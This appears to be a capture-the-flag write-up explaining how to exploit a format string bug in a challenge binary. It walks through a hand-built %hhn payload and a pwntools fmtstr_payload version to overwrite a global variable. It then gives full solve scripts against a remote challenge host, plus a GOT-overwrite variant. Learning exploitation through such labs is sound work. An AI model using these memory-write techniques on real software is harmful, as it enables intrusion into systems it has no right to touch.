Alpha-7 Format Override

#format-string

Contents

Analysis

As always, start by examining the binary's security properties using checksec.

$ checksec
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Good news is the PIE is disable, so the binary loads at a fixed base address, making things a lot easier. By reviewing the source code, reveals a classic format string vulnerability at line 18, where user input is passed directly to printf without a format specifier. Here's also a global variable security_code initialized to 0x21646f63. At line 22, an if statement checks if security_code equals to 0x64657461, if true we get the flag. Our goal is to overwrite security_code with 0x64657461 via the format string bug.

Find the offset

Spam input like %p %p %p %p ... and count the outputs until you spot printable ASCII strings resembling your input. This offset tells you where your payload starts controlling memory.

Find the Target Address

There are many ways to find the address of security_code. You can use gdb, nm or a pwntools function to find it. If you not farmiliar with pwntools, try using nm or gdb.

This tool will also make your exploit much more readable.

addr = elf.sym["security_code"]

But for beginners I recommend using this.

nm format1 | grep "security_code"

Craft the Payload

For beginners, manually crafting the payload a few times before using fmtstr_payload() help you to understand this technique.

This is manual way to craft the payload.

def manual_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    #val  = 0x64657461

    # 4 bytes -- xxxxxxxx    index                                  (0x00 written)
    payload  = b'%93c----'   # 14   93  = 0x61 - 0x00 - 4           (0x61 written)
    payload += b'%21$hhn-'   # 15   write 0x61 on index 21          (0x62 written)
    payload += b'%14c----'   # 16   14  = 0x74 - 0x62 - 4           (0x74 written) 
    payload += b'%22$hhn-'   # 17   write 0x74 on index 22          (0x75 written)
    payload += b'%236c---'   # 18   236 = 0x64 + 0x100 - 0x75 - 3   (0x164 written)(overflow)
    payload += b'%24$hhn-'   # 19   write 0x64 on index 24          (0x165 written)(overflow)
    payload += b'%23$hhn-'   # 20   write 0x65 on index 23          (done)
    payload += p64(dest)     # 21
    payload += p64(dest + 1) # 22
    payload += p64(dest + 2) # 23
    payload += p64(dest + 3) # 24

    return payload

This is the faster and better way to build the payload.

def auto_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    val  = 0x64657461

    write = {
            dest : val
            }

    # adjust the write size if it is not working (byte, short, int)
    payload = fmtstr_payload(14, write, write_size="byte")

    return payload

Solution

#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./format1_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("34.130.180.230", 5675)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



def manual_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    #val  = 0x64657461

    # 4 bytes -- xxxxxxxx    index                                (0x00 written)
    payload  = b'%93c----'   # 14   93  = 0x61 - 0x00 - 4         (0x61 written)
    payload += b'%21$hhn-'   # 15   write 0x61 on index 21        (0x62 written)
    payload += b'%14c----'   # 16   14  = 0x74 - 0x62 - 4         (0x74 written) 
    payload += b'%22$hhn-'   # 17   write 0x74 on index 22        (0x75 written)
    payload += b'%236c---'   # 18   236 = 0x64 + 0x100 - 0x75 - 3 (0x164 written)(overflow)
    payload += b'%24$hhn-'   # 19   write 0x64 on index 24        (0x165 written)(overflow)
    payload += b'%23$hhn-'   # 20   write 0x65 on index 23        (done)
    payload += p64(dest)     # 21
    payload += p64(dest + 1) # 22
    payload += p64(dest + 2) # 23
    payload += p64(dest + 3) # 24

    return payload



def auto_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    val  = 0x64657461

    write = {
            dest : val
            }

    # adjust the write size if it is not working (byte, short, int)
    payload = fmtstr_payload(14, write, write_size="byte")

    return payload



def main():
    r = conn()

    #payload = auto_payload()
    payload = manual_payload()

    # send the payload
    r.sendline(payload)

    # large payload, gonna take some time
    # adjust sleep time if needed
    log.progress("Sending...")
    sleep(1)

    # discard all the garbage
    r.recvuntil(b'CLASSIFIED DATA: ')

    flag = r.recvuntil(b'}').decode("ascii")

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()

Extra

If you want to show some disrespect to the challenge author, skip the security_code entirely and target the Global Offset Table. Since RELRO is partial, overwriting the got entry is doable.

#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./format1_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("34.130.180.230", 5675)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    dest = elf.got["fflush"]
    val  = 0x4012e5 

    write = {
            dest : val
            }

    offset = 14

    payload = fmtstr_payload(offset, write, write_size="byte")

    r.sendline(payload)

    log.progress("Sending...")
    sleep(1)

    r.recvuntil(b'CLASSIFIED DATA: ')

    flag = r.recvuntil(b'}').decode("ascii")

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()